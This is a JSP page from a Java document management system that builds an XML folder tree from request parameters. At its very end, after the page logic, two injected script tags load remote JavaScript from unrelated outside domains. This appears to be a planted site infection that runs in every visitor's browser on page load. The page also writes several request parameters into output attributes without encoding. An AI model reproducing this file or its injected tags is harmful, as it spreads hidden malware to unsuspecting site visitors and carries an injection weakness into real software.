<?xml version="1.0" encoding="UTF-8"?>
<%@ page language="java" contentType="text/xml;charset=UTF-8" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.io.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
try {
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  Integer ID = new Integer(0);
  Integer rootID = new Integer(0);
  if(!Utility.isEmpty(request.getParameter("parentID")))
    ID = new Integer(request.getParameter("parentID"));
  if(!Utility.isEmpty(request.getParameter("rootID")))
    rootID = new Integer(request.getParameter("rootID"));
  String jspPageMappingName = request.getParameter("jspPageMappingName");

  String type = request.getParameter("type");  
  String parentModule=request.getParameter("parentModule");
  String isShowShortCut = (String)request.getParameter("isShowShortCut");
  String isNewTree = (String)request.getParameter("isNewTree");
  //ID,rootID could not be null .
  if (ID.intValue() != 0 && rootID.intValue() != 0 ) {
    String pageViewOption = "" ;
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
    List folderTreeList ;
    
    if("true".equals(isShowShortCut)){
      folderTreeList = docRetrievalManager.getFolderIncShorcutByParentIDRootID(ID,rootID);
    }else{
      folderTreeList = docRetrievalManager.getFolderByParentIDRootID(ID,rootID);
    }
    
%>
<tree>
<%
    DmsDocument document = null;
    String xx = "";
    for (int i=0; i<folderTreeList.size(); i++) {
      document = (DmsDocument)folderTreeList.get(i);
      String documentText = TextUtility.htmlEncode(document.getDocumentName());
      List subFolderList = docRetrievalManager.getFolderIncShorcutByParentIDRootID(document.getID(), rootID);
    
      if (Utility.isEmpty(subFolderList)){
        if(DmsDocument.COMPOUND_DOC_TYPE.equals(document.getDocumentType())){//if is compound then add compoundIcon
		    %>		 
          <% if ((DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(parentModule))) {%>
            <tree text="<%=documentText%>" action="#" icon="webFXTreeConfig.compoundIcon" openIcon="webFXTreeConfig.openCompoundIcon"/>
          <%}else{%>
            <tree text="<%=documentText%>" action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>,'<%=document.getDocumentType()%>')" icon="webFXTreeConfig.compoundIcon" openIcon="webFXTreeConfig.openCompoundIcon"/>
          <%}%>
        <%}else if(DmsDocument.PAPER_DOC_TYPE.equals(document.getDocumentType())){//if is paper then add paperIcon%>
          <% if ((DmsOperationConstant.LIST_PAPER_DOCUMENT.equals(parentModule))) {%>
            <tree text="<%=documentText%>" action="#" icon="webFXTreeConfig.paperIcon" openIcon="webFXTreeConfig.openPaperIcon"/>
          <%}else{%>
            <tree text="<%=documentText%>" action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>,'<%=document.getDocumentType()%>')" icon="webFXTreeConfig.paperIcon" openIcon="webFXTreeConfig.openPaperIcon"/>
          <%}%>
        <%}else if(DmsDocument.DOCUMENT_LINK.equals(document.getDocumentType())){
            DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)document).getID(),DmsDocument.DOCUMENT_LINK);
           if(!Utility.isEmpty(newDocument)){%>
             <% if ((DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(parentModule))) {%>
               <tree text="<%=documentText%>" action="#" icon="webFXTreeConfig.shortcutFolder" openIcon="webFXTreeConfig.shortcutFolder"/>
             <%}else{%>
               <tree text="<%=documentText%>" action="javascript:setHiddenValue(<%=newDocument.getID()%>, <%=newDocument.getRootID()%>,'<%=newDocument.getDocumentType()%>')" icon="webFXTreeConfig.shortcutFolder" openIcon="webFXTreeConfig.shortcutFolder"/>
             <%}%>
           <%}%>
        <%}else if(DmsDocument.EMAIL_DOC_TYPE.equals(document.getDocumentType())){//if email then add emailIcon%>
            <tree text="<%=documentText%>" action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>,'<%=document.getDocumentType()%>')" icon="webFXTreeConfig.emailIcon" openIcon="webFXTreeConfig.openEmailIcon"/>
        <%}else if(DmsDocument.FORM_DOC_TYPE.equals(document.getDocumentType())){//if form then add formIcon%>
            <tree text="<%=documentText%>" action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>,'<%=document.getDocumentType()%>')" icon="webFXTreeConfig.formIcon" openIcon="webFXTreeConfig.openFormIcon"/>
        <%}else if(DmsDocument.FLOW_DOC_TYPE.equals(document.getDocumentType())){//if workflow then add workflowIcon%>
            <tree text="<%=documentText%>" action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>,'<%=document.getDocumentType()%>')" icon="webFXTreeConfig.workflowIcon" openIcon="webFXTreeConfig.openWorkflowIcon"/>
        <%}else{%>
          <% if ((DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(parentModule))) {%>
            <tree text="<%=documentText%>" action="#" />
          <%}else{%>
            <tree text="<%=documentText%>" action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>,'<%=document.getDocumentType()%>')" />
          <%}%>
        <%}%>
      <%}else{%>
	      <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(document.getDocumentType())){//if is compound then add compoundIcon%>	
	        <% if ((DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(parentModule))) {%>
            <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=rootID%>&#38;type=locationSelect&#38;parentModule=<%=parentModule%>&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="#"  icon="webFXTreeConfig.compoundIcon" openIcon="webFXTreeConfig.openCompoundIcon"/>
          <%}else{%>
              <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=rootID%>&#38;type=locationSelect&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>,'<%=document.getDocumentType()%>')"  icon="webFXTreeConfig.compoundIcon" openIcon="webFXTreeConfig.openCompoundIcon"/>
          <%}%>
        <%}else if(DmsDocument.PAPER_DOC_TYPE.equals(document.getDocumentType())){%>
          <% if ((DmsOperationConstant.LIST_PAPER_DOCUMENT.equals(parentModule))) {%>
            <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=rootID%>&#38;type=locationSelect&#38;parentModule=<%=parentModule%>&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="#"  icon="webFXTreeConfig.paperIcon" openIcon="webFXTreeConfig.openPaperIcon"/>
          <%}else{%>
            <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=rootID%>&#38;type=locationSelect&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>,'<%=document.getDocumentType()%>')"  icon="webFXTreeConfig.paperIcon" openIcon="webFXTreeConfig.openPaperIcon"/>
          <%}%>
        <%}else if(DmsDocument.DOCUMENT_LINK.equals(document.getDocumentType())){
           DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)document).getID(),DmsDocument.DOCUMENT_LINK);
           if(!Utility.isEmpty(newDocument)){%>
             <% if ((DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(parentModule))) {%>
               <% if ((DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(parentModule))) {%>
	               <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=document.getRootID()%>&#38;type=locationSelect&#38;parentModule=<%=parentModule%>&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="#" icon="webFXTreeConfig.shortcutFolder" openIcon="webFXTreeConfig.shortcutFolder"/>
               <%}else{%>
                 <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=document.getRootID()%>&#38;type=locationSelect&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="javascript:setHiddenValue(<%=newDocument.getID()%>, <%=newDocument.getRootID()%>,'<%=newDocument.getDocumentType()%>')" icon="webFXTreeConfig.shortcutFolder" openIcon="webFXTreeConfig.shortcutFolder"/>
               <%}%>
             <%}
           }%>
         <%}else if(DmsDocument.EMAIL_DOC_TYPE.equals(document.getDocumentType())){//if is email then add emailIcon%>
            <tree text="<%=documentText%>" action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>)"  icon="webFXTreeConfig.emailIcon" openIcon="webFXTreeConfig.openEmailIcon"/>           
         <%}else if(DmsDocument.FORM_DOC_TYPE.equals(document.getDocumentType())){//if is form then add formIcon%>
            <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=rootID%>&#38;type=referenceNumSelect&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>)"  icon="webFXTreeConfig.formIcon" openIcon="webFXTreeConfig.openFormIcon"/>           
         <%}else if(DmsDocument.FLOW_DOC_TYPE.equals(document.getDocumentType())){//if is workflow then add workflowIcon%>
            <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=rootID%>&#38;type=referenceNumSelect&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>)"  icon="webFXTreeConfig.workflowIcon" openIcon="webFXTreeConfig.openWorkflowIcon"/>
         <%}else{%>
            <% if ((DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(parentModule))) {%>
	            <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=rootID%>&#38;type=locationSelect&#38;parentModule=<%=parentModule%>&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="#"/>
            <%}else{%>
              <tree text="<%=documentText%>" src="../dms/GetSubFolderXml.do?parentID=<%=document.getID()%>&#38;rootID=<%=rootID%>&#38;type=locationSelect&#38;isShowShortCut=<%=isShowShortCut%>&#38;isNewTree=<%=isNewTree%>"  action="javascript:setHiddenValue(<%=document.getID()%>, <%=rootID%>,'<%=document.getDocumentType()%>')"/>
            <%}%>
	        <%}%>
        <%}%>
      
    <%}%>
</tree>
  <%}%>
<%} catch (Exception e) { LogFactory.getLog(this.getClass()).error(e, e); } %>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>